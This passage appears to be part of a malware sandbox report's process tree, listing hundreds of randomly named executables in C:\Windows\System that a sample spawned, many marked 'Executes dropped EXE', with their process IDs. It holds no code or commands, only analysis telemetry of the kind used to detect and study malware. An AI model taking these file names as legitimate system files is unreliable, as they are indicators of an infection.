  - Executes dropped EXE
  PID:1656
- C:\Windows\System\WJJLtcI.exe
  C:\Windows\System\WJJLtcI.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\cBNtPCK.exe
  C:\Windows\System\cBNtPCK.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\Snzydww.exe
  C:\Windows\System\Snzydww.exe
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Windows\System\bDOWGlP.exe
  C:\Windows\System\bDOWGlP.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\FsaclnR.exe
  C:\Windows\System\FsaclnR.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\tILsvLg.exe
  C:\Windows\System\tILsvLg.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\uRaKgbw.exe
  C:\Windows\System\uRaKgbw.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\oZPHEIp.exe
  C:\Windows\System\oZPHEIp.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\UgYmLxi.exe
  C:\Windows\System\UgYmLxi.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\anchqRx.exe
  C:\Windows\System\anchqRx.exe
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Windows\System\xaowuGe.exe
  C:\Windows\System\xaowuGe.exe
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Windows\System\YPoSWck.exe
  C:\Windows\System\YPoSWck.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\LjxYoPw.exe
  C:\Windows\System\LjxYoPw.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\GFElgAm.exe
  C:\Windows\System\GFElgAm.exe
  2⤵
  - Executes dropped EXE
  PID:2228
- C:\Windows\System\KhkMdgv.exe
  C:\Windows\System\KhkMdgv.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\PTdocHn.exe
  C:\Windows\System\PTdocHn.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\GrwJOMv.exe
  C:\Windows\System\GrwJOMv.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\hvOyaMU.exe
  C:\Windows\System\hvOyaMU.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\cJTIRCg.exe
  C:\Windows\System\cJTIRCg.exe
  2⤵
  - Executes dropped EXE
  PID:352
- C:\Windows\System\KZRaTUZ.exe
  C:\Windows\System\KZRaTUZ.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\AYHGcFW.exe
  C:\Windows\System\AYHGcFW.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\GLlBjCI.exe
  C:\Windows\System\GLlBjCI.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\iNGIDMp.exe
  C:\Windows\System\iNGIDMp.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\UVsVdGd.exe
  C:\Windows\System\UVsVdGd.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\tvlrSSa.exe
  C:\Windows\System\tvlrSSa.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\olbPjIn.exe
  C:\Windows\System\olbPjIn.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\KDyqMxp.exe
  C:\Windows\System\KDyqMxp.exe
  2⤵
  - Executes dropped EXE
  PID:2960
- C:\Windows\System\DHjljnJ.exe
  C:\Windows\System\DHjljnJ.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\nTZlsDA.exe
  C:\Windows\System\nTZlsDA.exe
  2⤵
  - Executes dropped EXE
  PID:1256
- C:\Windows\System\ZDXyvhq.exe
  C:\Windows\System\ZDXyvhq.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\bJANgYs.exe
  C:\Windows\System\bJANgYs.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\udhoDth.exe
  C:\Windows\System\udhoDth.exe
  2⤵
  - Executes dropped EXE
  PID:332
- C:\Windows\System\IRMJgSd.exe
  C:\Windows\System\IRMJgSd.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\bSvfOac.exe
  C:\Windows\System\bSvfOac.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Windows\System\fsWPGvN.exe
  C:\Windows\System\fsWPGvN.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\PWlnOPD.exe
  C:\Windows\System\PWlnOPD.exe
  2⤵
  - Executes dropped EXE
  PID:612
- C:\Windows\System\cKOJwpT.exe
  C:\Windows\System\cKOJwpT.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\CmkOhXn.exe
  C:\Windows\System\CmkOhXn.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\qFqDFvo.exe
  C:\Windows\System\qFqDFvo.exe
  2⤵
  - Executes dropped EXE
  PID:2268
- C:\Windows\System\GBCKBjA.exe
  C:\Windows\System\GBCKBjA.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\zvGqXei.exe
  C:\Windows\System\zvGqXei.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\hKKyYta.exe
  C:\Windows\System\hKKyYta.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\Xuuynhm.exe
  C:\Windows\System\Xuuynhm.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\lVpfUWc.exe
  C:\Windows\System\lVpfUWc.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\gANeoFh.exe
  C:\Windows\System\gANeoFh.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\fqUWJHH.exe
  C:\Windows\System\fqUWJHH.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\ojzuyMi.exe
  C:\Windows\System\ojzuyMi.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\hMZXjRF.exe
  C:\Windows\System\hMZXjRF.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\IbjQmqJ.exe
  C:\Windows\System\IbjQmqJ.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\FuyOVHm.exe
  C:\Windows\System\FuyOVHm.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\MOjcrfO.exe
  C:\Windows\System\MOjcrfO.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\KpDwcWe.exe
  C:\Windows\System\KpDwcWe.exe
  2⤵
  - Executes dropped EXE
  PID:972
- C:\Windows\System\TvpzzGs.exe
  C:\Windows\System\TvpzzGs.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\lrlDbcW.exe
  C:\Windows\System\lrlDbcW.exe
  2⤵
  PID:2608
- C:\Windows\System\mzdgQAx.exe
  C:\Windows\System\mzdgQAx.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\vNdjktg.exe
  C:\Windows\System\vNdjktg.exe
  2⤵
  PID:2712
- C:\Windows\System\QxvgyJV.exe
  C:\Windows\System\QxvgyJV.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\oyoZCuo.exe
  C:\Windows\System\oyoZCuo.exe
  2⤵
  PID:2716
- C:\Windows\System\wYiMhcd.exe
  C:\Windows\System\wYiMhcd.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\sLXVASG.exe
  C:\Windows\System\sLXVASG.exe
  2⤵
  PID:1948
- C:\Windows\System\aJhLdCb.exe
  C:\Windows\System\aJhLdCb.exe
  2⤵
  PID:2480
- C:\Windows\System\CeGjESS.exe
  C:\Windows\System\CeGjESS.exe
  2⤵
  PID:2220
- C:\Windows\System\xMsJHJS.exe
  C:\Windows\System\xMsJHJS.exe
  2⤵
  PID:2688
- C:\Windows\System\jpxGGqn.exe
  C:\Windows\System\jpxGGqn.exe
  2⤵
  PID:988
- C:\Windows\System\QLvXZUO.exe
  C:\Windows\System\QLvXZUO.exe
  2⤵
  PID:1704
- C:\Windows\System\ICdvHha.exe
  C:\Windows\System\ICdvHha.exe
  2⤵
  PID:1752
- C:\Windows\System\uKDPvOa.exe
  C:\Windows\System\uKDPvOa.exe
  2⤵
  PID:888
- C:\Windows\System\CBGhiIJ.exe
  C:\Windows\System\CBGhiIJ.exe
  2⤵
  PID:2936
- C:\Windows\System\YrPudsW.exe
  C:\Windows\System\YrPudsW.exe
  2⤵
  PID:2892
- C:\Windows\System\ktOcILW.exe
  C:\Windows\System\ktOcILW.exe
  2⤵
  PID:3048
- C:\Windows\System\JsfogvI.exe
  C:\Windows\System\JsfogvI.exe
  2⤵
  PID:2588
- C:\Windows\System\KApHVBD.exe
  C:\Windows\System\KApHVBD.exe
  2⤵
  PID:2428
- C:\Windows\System\QQZPuXB.exe
  C:\Windows\System\QQZPuXB.exe
  2⤵
  PID:2948
- C:\Windows\System\vheqgpx.exe
  C:\Windows\System\vheqgpx.exe
  2⤵
  PID:2192
- C:\Windows\System\waGvbbJ.exe
  C:\Windows\System\waGvbbJ.exe
  2⤵
  PID:1620
- C:\Windows\System\VaAqVxd.exe
  C:\Windows\System\VaAqVxd.exe
  2⤵
  PID:1832
- C:\Windows\System\rdSWFxb.exe
  C:\Windows\System\rdSWFxb.exe
  2⤵
  PID:1732
- C:\Windows\System\VSggRny.exe
  C:\Windows\System\VSggRny.exe
  2⤵
  PID:2660
- C:\Windows\System\eizvCNb.exe
  C:\Windows\System\eizvCNb.exe
  2⤵
  PID:1464
- C:\Windows\System\MXsmHId.exe
  C:\Windows\System\MXsmHId.exe
  2⤵
  PID:1444
- C:\Windows\System\WbXdxxu.exe
  C:\Windows\System\WbXdxxu.exe
  2⤵
  PID:1532
- C:\Windows\System\AAwHReL.exe
  C:\Windows\System\AAwHReL.exe
  2⤵
  PID:1112
- C:\Windows\System\WiEJmip.exe
  C:\Windows\System\WiEJmip.exe
  2⤵
  PID:1268
- C:\Windows\System\DZCeewN.exe
  C:\Windows\System\DZCeewN.exe
  2⤵
  PID:2860
- C:\Windows\System\wzgeSvw.exe
  C:\Windows\System\wzgeSvw.exe
  2⤵
  PID:2416
- C:\Windows\System\nqieHvT.exe
  C:\Windows\System\nqieHvT.exe
  2⤵
  PID:2336
- C:\Windows\System\idbGRLt.exe
  C:\Windows\System\idbGRLt.exe
  2⤵
  PID:3060
- C:\Windows\System\zrcCLRD.exe
  C:\Windows\System\zrcCLRD.exe
  2⤵
  PID:1500
- C:\Windows\System\DPYKDqs.exe
  C:\Windows\System\DPYKDqs.exe
  2⤵
  PID:2104
- C:\Windows\System\RNMEulu.exe
  C:\Windows\System\RNMEulu.exe
  2⤵
  PID:2144
- C:\Windows\System\SbhzbJB.exe
  C:\Windows\System\SbhzbJB.exe
  2⤵
  PID:2896
- C:\Windows\System\xjHAvfm.exe
  C:\Windows\System\xjHAvfm.exe
  2⤵
  PID:1700
- C:\Windows\System\lukmDZp.exe
  C:\Windows\System\lukmDZp.exe
  2⤵
  PID:1672
- C:\Windows\System\nSdnaCd.exe
  C:\Windows\System\nSdnaCd.exe
  2⤵
  PID:2344
- C:\Windows\System\GbfCOoY.exe
  C:\Windows\System\GbfCOoY.exe
  2⤵
  PID:1116
- C:\Windows\System\DqfyHrG.exe
  C:\Windows\System\DqfyHrG.exe
  2⤵
  PID:1640
- C:\Windows\System\BhyYPOY.exe
  C:\Windows\System\BhyYPOY.exe
  2⤵
  PID:1828
- C:\Windows\System\WCZtKCi.exe
  C:\Windows\System\WCZtKCi.exe
  2⤵
  PID:608
- C:\Windows\System\yDrYhFq.exe
  C:\Windows\System\yDrYhFq.exe
  2⤵
  PID:1012
- C:\Windows\System\YXJRVrr.exe
  C:\Windows\System\YXJRVrr.exe
  2⤵
  PID:1932
- C:\Windows\System\EzqhGQJ.exe
  C:\Windows\System\EzqhGQJ.exe
  2⤵
  PID:2020
- C:\Windows\System\rVdtFja.exe
  C:\Windows\System\rVdtFja.exe
  2⤵
  PID:2780
- C:\Windows\System\xNBemoH.exe
  C:\Windows\System\xNBemoH.exe
  2⤵
  PID:1772
- C:\Windows\System\IXwyWhY.exe
  C:\Windows\System\IXwyWhY.exe
  2⤵
  PID:2544
- C:\Windows\System\CEqBqqV.exe
  C:\Windows\System\CEqBqqV.exe
  2⤵
  PID:1448
- C:\Windows\System\wqYJMUW.exe
  C:\Windows\System\wqYJMUW.exe
  2⤵
  PID:768
- C:\Windows\System\zLfUCBa.exe
  C:\Windows\System\zLfUCBa.exe
  2⤵
  PID:2368
- C:\Windows\System\HBfozMU.exe
  C:\Windows\System\HBfozMU.exe
  2⤵
  PID:1560
- C:\Windows\System\SazIYoy.exe
  C:\Windows\System\SazIYoy.exe
  2⤵
  PID:2140
- C:\Windows\System\NvKvKnj.exe
  C:\Windows\System\NvKvKnj.exe
  2⤵
  PID:2904
- C:\Windows\System\NLHofZM.exe
  C:\Windows\System\NLHofZM.exe
  2⤵
  PID:628
- C:\Windows\System\HJPTEcg.exe
  C:\Windows\System\HJPTEcg.exe
  2⤵
  PID:980
- C:\Windows\System\eOCvrmW.exe
  C:\Windows\System\eOCvrmW.exe
  2⤵
  PID:2332
- C:\Windows\System\SrZrMan.exe
  C:\Windows\System\SrZrMan.exe
  2⤵
  PID:2672
- C:\Windows\System\uRasUwp.exe
  C:\Windows\System\uRasUwp.exe
  2⤵
  PID:3020
- C:\Windows\System\dXRPpOw.exe
  C:\Windows\System\dXRPpOw.exe
  2⤵
  PID:2516
- C:\Windows\System\QHydvgD.exe
  C:\Windows\System\QHydvgD.exe
  2⤵
  PID:2488
- C:\Windows\System\BsmnmMG.exe
  C:\Windows\System\BsmnmMG.exe
  2⤵
  PID:1352
- C:\Windows\System\KIlHLBl.exe
  C:\Windows\System\KIlHLBl.exe
  2⤵
  PID:2424
- C:\Windows\System\WajBRoY.exe
  C:\Windows\System\WajBRoY.exe
  2⤵
  PID:1252
- C:\Windows\System\bhhEpDb.exe
  C:\Windows\System\bhhEpDb.exe
  2⤵
  PID:3000
- C:\Windows\System\ujwIydU.exe
  C:\Windows\System\ujwIydU.exe
  2⤵
  PID:904
- C:\Windows\System\piwYOaR.exe
  C:\Windows\System\piwYOaR.exe
  2⤵
  PID:1592
- C:\Windows\System\msaexzu.exe
  C:\Windows\System\msaexzu.exe
  2⤵
  PID:1544
- C:\Windows\System\DMtchsX.exe
  C:\Windows\System\DMtchsX.exe
  2⤵
  PID:2664
- C:\Windows\System\jLXhBFA.exe
  C:\Windows\System\jLXhBFA.exe
  2⤵
  PID:1588
- C:\Windows\System\GUHhcQE.exe
  C:\Windows\System\GUHhcQE.exe
  2⤵
  PID:1496
- C:\Windows\System\BoKKbCs.exe
  C:\Windows\System\BoKKbCs.exe
  2⤵
  PID:1796
- C:\Windows\System\aZpsDHb.exe
  C:\Windows\System\aZpsDHb.exe
  2⤵
  PID:2400
- C:\Windows\System\JdZBvxX.exe
  C:\Windows\System\JdZBvxX.exe
  2⤵
  PID:2520
- C:\Windows\System\UtqxRsW.exe
  C:\Windows\System\UtqxRsW.exe
  2⤵
  PID:1360
- C:\Windows\System\NorXPHy.exe
  C:\Windows\System\NorXPHy.exe
  2⤵
  PID:696
- C:\Windows\System\VGipUNL.exe
  C:\Windows\System\VGipUNL.exe
  2⤵
  PID:1072
- C:\Windows\System\byTCTeC.exe
  C:\Windows\System\byTCTeC.exe
  2⤵
  PID:308
- C:\Windows\System\EYBRGxT.exe
  C:\Windows\System\EYBRGxT.exe
  2⤵
  PID:456
- C:\Windows\System\rGAbJnV.exe
  C:\Windows\System\rGAbJnV.exe
  2⤵
  PID:2024
- C:\Windows\System\zynDtpr.exe
  C:\Windows\System\zynDtpr.exe
  2⤵
  PID:2524
- C:\Windows\System\nPTTOTZ.exe
  C:\Windows\System\nPTTOTZ.exe
  2⤵
  PID:2800
- C:\Windows\System\cBXjQyw.exe
  C:\Windows\System\cBXjQyw.exe
  2⤵
  PID:1684
- C:\Windows\System\CDozBoY.exe
  C:\Windows\System\CDozBoY.exe
  2⤵
  PID:2500
- C:\Windows\System\UGBkZVL.exe
  C:\Windows\System\UGBkZVL.exe
  2⤵
  PID:1632
- C:\Windows\System\TnJdOpt.exe
  C:\Windows\System\TnJdOpt.exe
  2⤵
  PID:1880
- C:\Windows\System\ldjsdoG.exe
  C:\Windows\System\ldjsdoG.exe
  2⤵
  PID:3076
- C:\Windows\System\HpulmuP.exe
  C:\Windows\System\HpulmuP.exe
  2⤵
  PID:3092
- C:\Windows\System\mIjvRNw.exe
  C:\Windows\System\mIjvRNw.exe
  2⤵
  PID:3108
- C:\Windows\System\PcNckaa.exe
  C:\Windows\System\PcNckaa.exe
  2⤵
  PID:3124
- C:\Windows\System\HBMNrYi.exe
  C:\Windows\System\HBMNrYi.exe
  2⤵
  PID:3140
- C:\Windows\System\PHUcOYo.exe
  C:\Windows\System\PHUcOYo.exe
  2⤵
  PID:3156
- C:\Windows\System\vBYbHrb.exe
  C:\Windows\System\vBYbHrb.exe
  2⤵
  PID:3256
- C:\Windows\System\BGoVMvB.exe
  C:\Windows\System\BGoVMvB.exe
  2⤵
  PID:3272
- C:\Windows\System\SndGIOM.exe
  C:\Windows\System\SndGIOM.exe
  2⤵
  PID:3288
- C:\Windows\System\gMoTcoh.exe
  C:\Windows\System\gMoTcoh.exe
  2⤵
  PID:3304
- C:\Windows\System\ywAwuKZ.exe
  C:\Windows\System\ywAwuKZ.exe
  2⤵
  PID:3320
- C:\Windows\System\UBQxnru.exe
  C:\Windows\System\UBQxnru.exe
  2⤵
  PID:3336
- C:\Windows\System\crGJmFh.exe
  C:\Windows\System\crGJmFh.exe
  2⤵
  PID:3352
- C:\Windows\System\fNsVcua.exe
  C:\Windows\System\fNsVcua.exe
  2⤵
  PID:3372
- C:\Windows\System\RnVDuEv.exe
  C:\Windows\System\RnVDuEv.exe
  2⤵
  PID:3388
- C:\Windows\System\gnoCjSS.exe
  C:\Windows\System\gnoCjSS.exe
  2⤵
  PID:3404
- C:\Windows\System\KteCJPW.exe
  C:\Windows\System\KteCJPW.exe
  2⤵
  PID:3472
- C:\Windows\System\pejoSZs.exe
  C:\Windows\System\pejoSZs.exe
  2⤵
  PID:3488
- C:\Windows\System\EbttYJO.exe
  C:\Windows\System\EbttYJO.exe
  2⤵
  PID:3512
- C:\Windows\System\aZxzNXJ.exe
  C:\Windows\System\aZxzNXJ.exe
  2⤵
  PID:3528
- C:\Windows\System\eFThakk.exe
  C:\Windows\System\eFThakk.exe
  2⤵
  PID:3544
- C:\Windows\System\VEWKJtB.exe
  C:\Windows\System\VEWKJtB.exe
  2⤵
  PID:3572
- C:\Windows\System\CHpZIIC.exe
  C:\Windows\System\CHpZIIC.exe
  2⤵
  PID:3588
- C:\Windows\System\IVdmeFX.exe
  C:\Windows\System\IVdmeFX.exe
  2⤵
  PID:3604
- C:\Windows\System\oexDBEB.exe
  C:\Windows\System\oexDBEB.exe
  2⤵
  PID:3624
- C:\Windows\System\XhpzqMg.exe
  C:\Windows\System\XhpzqMg.exe
  2⤵
  PID:3640
- C:\Windows\System\iuySDZi.exe
  C:\Windows\System\iuySDZi.exe
  2⤵
  PID:3656
- C:\Windows\System\MxsQQlD.exe
  C:\Windows\System\MxsQQlD.exe
  2⤵
  PID:3700
- C:\Windows\System\oYvhRyK.exe
  C:\Windows\System\oYvhRyK.exe
  2⤵
  PID:3720
- C:\Windows\System\MmOrkli.exe
  C:\Windows\System\MmOrkli.exe
  2⤵
  PID:3736
- C:\Windows\System\SKomgol.exe
  C:\Windows\System\SKomgol.exe
  2⤵
  PID:3752
- C:\Windows\System\GhBNBrZ.exe
  C:\Windows\System\GhBNBrZ.exe
  2⤵
  PID:3768
- C:\Windows\System\GQzUwQh.exe
  C:\Windows\System\GQzUwQh.exe
  2⤵
  PID:3784
- C:\Windows\System\ThETRtb.exe
  C:\Windows\System\ThETRtb.exe
  2⤵
  PID:3800
- C:\Windows\System\MGiNCSB.exe
  C:\Windows\System\MGiNCSB.exe
  2⤵
  PID:3820
- C:\Windows\System\szIYrOo.exe
  C:\Windows\System\szIYrOo.exe
  2⤵
  PID:3836
- C:\Windows\System\tRLJFWF.exe
  C:\Windows\System\tRLJFWF.exe
  2⤵
  PID:3852
- C:\Windows\System\bPzgwFo.exe
  C:\Windows\System\bPzgwFo.exe
  2⤵
  PID:3868
- C:\Windows\System\Lvljqmi.exe
  C:\Windows\System\Lvljqmi.exe
  2⤵
  PID:3908
- C:\Windows\System\cDYZaYF.exe
  C:\Windows\System\cDYZaYF.exe
  2⤵
  PID:3924
- C:\Windows\System\peNnjtz.exe
  C:\Windows\System\peNnjtz.exe
  2⤵
  PID:3940
- C:\Windows\System\xnMGHhd.exe
  C:\Windows\System\xnMGHhd.exe
  2⤵
  PID:3956
- C:\Windows\System\JunOwbC.exe
  C:\Windows\System\JunOwbC.exe
  2⤵
  PID:3976
- C:\Windows\System\yYHEadM.exe
  C:\Windows\System\yYHEadM.exe
  2⤵
  PID:3992
- C:\Windows\System\jigfjCm.exe
  C:\Windows\System\jigfjCm.exe
  2⤵
  PID:4012
- C:\Windows\System\kCFQnkO.exe
  C:\Windows\System\kCFQnkO.exe
  2⤵
  PID:4028
- C:\Windows\System\qdfZIkD.exe
  C:\Windows\System\qdfZIkD.exe
  2⤵
  PID:4044
- C:\Windows\System\YAMBjKp.exe
  C:\Windows\System\YAMBjKp.exe
  2⤵
  PID:4064
- C:\Windows\System\IKeQmPU.exe
  C:\Windows\System\IKeQmPU.exe
  2⤵
  PID:4080
- C:\Windows\System\wuiOHca.exe
  C:\Windows\System\wuiOHca.exe
  2⤵
  PID:2528
- C:\Windows\System\UNQomie.exe
  C:\Windows\System\UNQomie.exe
  2⤵
  PID:2420
- C:\Windows\System\MMSTKzI.exe
  C:\Windows\System\MMSTKzI.exe
  2⤵
  PID:1692
- C:\Windows\System\ovGOPMB.exe
  C:\Windows\System\ovGOPMB.exe
  2⤵
  PID:2888
- C:\Windows\System\MsMefli.exe
  C:\Windows\System\MsMefli.exe
  2⤵
  PID:852
- C:\Windows\System\HnYzAgC.exe
  C:\Windows\System\HnYzAgC.exe
  2⤵
  PID:3104
- C:\Windows\System\ilAmfwJ.exe
  C:\Windows\System\ilAmfwJ.exe
  2⤵
  PID:3296
- C:\Windows\System\maTvifs.exe
  C:\Windows\System\maTvifs.exe
  2⤵
  PID:3368
- C:\Windows\System\lXHgpDQ.exe
  C:\Windows\System\lXHgpDQ.exe
  2⤵
  PID:3504
- C:\Windows\System\SNdtCWE.exe
  C:\Windows\System\SNdtCWE.exe
  2⤵
  PID:1156
- C:\Windows\System\DACgEur.exe
  C:\Windows\System\DACgEur.exe
  2⤵
  PID:3520
- C:\Windows\System\uoaCBhR.exe
  C:\Windows\System\uoaCBhR.exe
  2⤵
  PID:3560
- C:\Windows\System\vglvGnC.exe
  C:\Windows\System\vglvGnC.exe
  2⤵
  PID:3416
- C:\Windows\System\umjWJBz.exe
  C:\Windows\System\umjWJBz.exe
  2⤵
  PID:2216
- C:\Windows\System\EOGJOiK.exe
  C:\Windows\System\EOGJOiK.exe
  2⤵
  PID:3448
- C:\Windows\System\UwXQdzk.exe
  C:\Windows\System\UwXQdzk.exe
  2⤵
  PID:3172
- C:\Windows\System\oPevFmC.exe
  C:\Windows\System\oPevFmC.exe
  2⤵
  PID:3672
- C:\Windows\System\FOTUaFd.exe
  C:\Windows\System\FOTUaFd.exe
  2⤵
  PID:3196
- C:\Windows\System\JfJRWWB.exe
  C:\Windows\System\JfJRWWB.exe
  2⤵
  PID:3216
- C:\Windows\System\FgzKIPI.exe
  C:\Windows\System\FgzKIPI.exe
  2⤵
  PID:3236
- C:\Windows\System\ExKkvHl.exe
  C:\Windows\System\ExKkvHl.exe
  2⤵
  PID:3696
- C:\Windows\System\iujjcYn.exe
  C:\Windows\System\iujjcYn.exe
  2⤵
  PID:3188
- C:\Windows\System\tjWyPSh.exe
  C:\Windows\System\tjWyPSh.exe
  2⤵
  PID:3536
- C:\Windows\System\liLrBLq.exe
  C:\Windows\System\liLrBLq.exe
  2⤵
  PID:3732
- C:\Windows\System\mXqxtFg.exe
  C:\Windows\System\mXqxtFg.exe
  2⤵
  PID:3832
- C:\Windows\System\cSoTzII.exe
  C:\Windows\System\cSoTzII.exe
  2⤵
  PID:3440
- C:\Windows\System\QLebJGa.exe
  C:\Windows\System\QLebJGa.exe
  2⤵
  PID:2536
- C:\Windows\System\DxyOczX.exe
  C:\Windows\System\DxyOczX.exe
  2⤵
  PID:3612
- C:\Windows\System\FzJxjZd.exe
  C:\Windows\System\FzJxjZd.exe
  2⤵
  PID:3716
- C:\Windows\System\aUtsNom.exe
  C:\Windows\System\aUtsNom.exe
  2⤵
  PID:3808
- C:\Windows\System\ohgjuda.exe
  C:\Windows\System\ohgjuda.exe
  2⤵
  PID:3884
- C:\Windows\System\wFFYmUw.exe
  C:\Windows\System\wFFYmUw.exe
  2⤵
  PID:3900
- C:\Windows\System\lOezQha.exe
  C:\Windows\System\lOezQha.exe
  2⤵
  PID:3948
- C:\Windows\System\QFYXuPy.exe
  C:\Windows\System\QFYXuPy.exe
  2⤵
  PID:4024
- C:\Windows\System\sPMNJFJ.exe
  C:\Windows\System\sPMNJFJ.exe
  2⤵
  PID:4092
- C:\Windows\System\tyFTYMS.exe
  C:\Windows\System\tyFTYMS.exe
  2⤵
  PID:876
- C:\Windows\System\lzkcDLi.exe
  C:\Windows\System\lzkcDLi.exe
  2⤵
  PID:4072
- C:\Windows\System\BKbKpBJ.exe
  C:\Windows\System\BKbKpBJ.exe
  2⤵
  PID:2068
- C:\Windows\System\xKfSJTX.exe
  C:\Windows\System\xKfSJTX.exe
  2⤵
  PID:3116
- C:\Windows\System\usBndTJ.exe
  C:\Windows\System\usBndTJ.exe
  2⤵
  PID:2552
- C:\Windows\System\EVJXaod.exe
  C:\Windows\System\EVJXaod.exe
  2⤵
  PID:3300
- C:\Windows\System\xKKglza.exe
  C:\Windows\System\xKKglza.exe
  2⤵
  PID:4036
- C:\Windows\System\aPrnXOg.exe
  C:\Windows\System\aPrnXOg.exe
  2⤵
  PID:4076
- C:\Windows\System\HIiijQy.exe
  C:\Windows\System\HIiijQy.exe
  2⤵
  PID:2312
- C:\Windows\System\IUeILhL.exe
  C:\Windows\System\IUeILhL.exe
  2⤵
  PID:3360
- C:\Windows\System\MmgtMpv.exe
  C:\Windows\System\MmgtMpv.exe
  2⤵
  PID:1764
- C:\Windows\System\QFRhZyy.exe
  C:\Windows\System\QFRhZyy.exe
  2⤵
  PID:2008
- C:\Windows\System\vicfYjw.exe
  C:\Windows\System\vicfYjw.exe
  2⤵
  PID:2460
- C:\Windows\System\AwcbZLu.exe
  C:\Windows\System\AwcbZLu.exe
  2⤵
  PID:1888
- C:\Windows\System\luKguVT.exe
  C:\Windows\System\luKguVT.exe
  2⤵
  PID:3164
- C:\Windows\System\wachFXq.exe
  C:\Windows\System\wachFXq.exe
  2⤵
  PID:3636
- C:\Windows\System\OPXVlqB.exe
  C:\Windows\System\OPXVlqB.exe
  2⤵
  PID:3208
- C:\Windows\System\poqjQEz.exe
  C:\Windows\System\poqjQEz.exe
  2⤵
  PID:3248
- C:\Windows\System\MqbmViS.exe
  C:\Windows\System\MqbmViS.exe
  2⤵
  PID:3500
- C:\Windows\System\aKmJnKH.exe
  C:\Windows\System\aKmJnKH.exe
  2⤵
  PID:1628
- C:\Windows\System\kWleVIg.exe
  C:\Windows\System\kWleVIg.exe
  2⤵
  PID:3792
- C:\Windows\System\nSDIfaj.exe
  C:\Windows\System\nSDIfaj.exe
  2⤵
  PID:3312
- C:\Windows\System\TxtqGDt.exe
  C:\Windows\System\TxtqGDt.exe
  2⤵
  PID:3708
- C:\Windows\System\fMIDpjM.exe
  C:\Windows\System\fMIDpjM.exe
  2⤵
  PID:3812
- C:\Windows\System\jSTyryc.exe
  C:\Windows\System\jSTyryc.exe
  2⤵
  PID:2448
- C:\Windows\System\mxZgrMv.exe
  C:\Windows\System\mxZgrMv.exe
  2⤵
  PID:3892
- C:\Windows\System\ixFXHwU.exe
  C:\Windows\System\ixFXHwU.exe
  2⤵
  PID:3916
- C:\Windows\System\YjWTWLY.exe
  C:\Windows\System\YjWTWLY.exe
  2⤵
  PID:3984
- C:\Windows\System\QkOtqgy.exe
  C:\Windows\System\QkOtqgy.exe
  2⤵
  PID:4056
- C:\Windows\System\dzwygeF.exe
  C:\Windows\System\dzwygeF.exe
  2⤵
  PID:836
- C:\Windows\System\BOcmLAv.exe
  C:\Windows\System\BOcmLAv.exe
  2⤵
  PID:4000
- C:\Windows\System\tVHBtxS.exe
  C:\Windows\System\tVHBtxS.exe
  2⤵
  PID:3964
- C:\Windows\System\lEyskIu.exe
  C:\Windows\System\lEyskIu.exe
  2⤵
  PID:3084
- C:\Windows\System\GRaYnKd.exe
  C:\Windows\System\GRaYnKd.exe
  2⤵
  PID:2436
- C:\Windows\System\rMpiHIB.exe
  C:\Windows\System\rMpiHIB.exe
  2⤵
  PID:3364
- C:\Windows\System\NFatpKS.exe
  C:\Windows\System\NFatpKS.exe
  2⤵
  PID:3480
- C:\Windows\System\EshXDQs.exe
  C:\Windows\System\EshXDQs.exe
  2⤵
  PID:3484
- C:\Windows\System\VjMUNkg.exe
  C:\Windows\System\VjMUNkg.exe
  2⤵
  PID:3428
